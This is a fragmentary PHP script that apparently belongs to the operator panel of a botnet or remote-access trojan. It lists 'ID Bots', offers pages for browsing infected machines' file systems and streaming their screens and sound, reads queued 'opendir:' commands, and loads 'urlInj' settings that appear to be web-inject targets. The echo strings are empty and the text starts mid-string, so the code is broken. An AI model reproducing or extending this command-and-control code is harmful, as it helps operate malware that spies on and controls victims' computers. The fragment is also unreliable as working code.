ID Bots
";
if($page == "file-system"){
FileSystem();
}
elseif($page == "streamscreen"){
StreamScreen();
}
elseif($page == "streamsound"){
StreamSound();
}
else{
FileSystem();
}
echo "";
function StreamSound(){
echo "
";
}
function StreamScreen()
{
echo "
";
}
function FileSystem()
{
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT urls,urlInj FROM settingsall WHERE id='1'";
$database = new database;
$path = $database->ws_GetPath();
if($path=="") $path = "/";
$FileFolder = $database->ws_GetFileFolder();
$file = explode('!!!!', $FileFolder)[2];
$folder = explode('!!!!', $FileFolder)[1];
$arrayFile = explode('|', $file);
$arrayFolder= explode('|', $folder);
$command = $database->ws_GetCommand();
$command = str_replace('opendir:','',$command);
$command = str_replace('!!!','',$command);
echo "
";
}
$database = new database;
$database->ws_UpdateStatusFileFolder('0');
?>